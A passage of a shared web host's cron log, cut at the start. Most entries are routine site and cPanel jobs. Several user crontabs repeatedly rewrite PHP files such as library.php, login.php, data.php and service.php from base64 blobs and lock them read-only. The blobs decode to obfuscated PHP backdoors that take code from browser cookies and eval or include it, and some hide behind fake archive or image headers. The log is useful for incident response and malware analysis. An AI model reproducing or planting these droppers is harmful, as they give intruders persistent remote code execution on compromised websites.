gPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:02:02 medusa CROND[2620]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:02:02 medusa CROND[2622]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:02:02 medusa CROND[2625]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:02:02 medusa CROND[2626]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:02:02 medusa CROND[2638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:03:01 medusa CROND[25435]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:03:01 medusa CROND[25437]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:03:01 medusa CROND[25438]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:03:01 medusa CROND[25439]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:03:01 medusa CROND[25440]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:03:01 medusa CROND[25441]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:03:01 medusa CROND[25448]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:03:01 medusa CROND[25449]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:03:01 medusa CROND[25450]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:03:01 medusa CROND[25447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:03:01 medusa CROND[25446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:03:01 medusa CROND[25452]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:04:02 medusa CROND[16631]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:04:02 medusa CROND[16632]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:04:02 medusa CROND[16633]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:04:02 medusa CROND[16635]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:04:02 medusa CROND[16642]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:04:02 medusa CROND[16644]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 04:04:02 medusa CROND[16647]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:04:02 medusa CROND[16646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:04:02 medusa CROND[16648]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:04:02 medusa CROND[16649]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
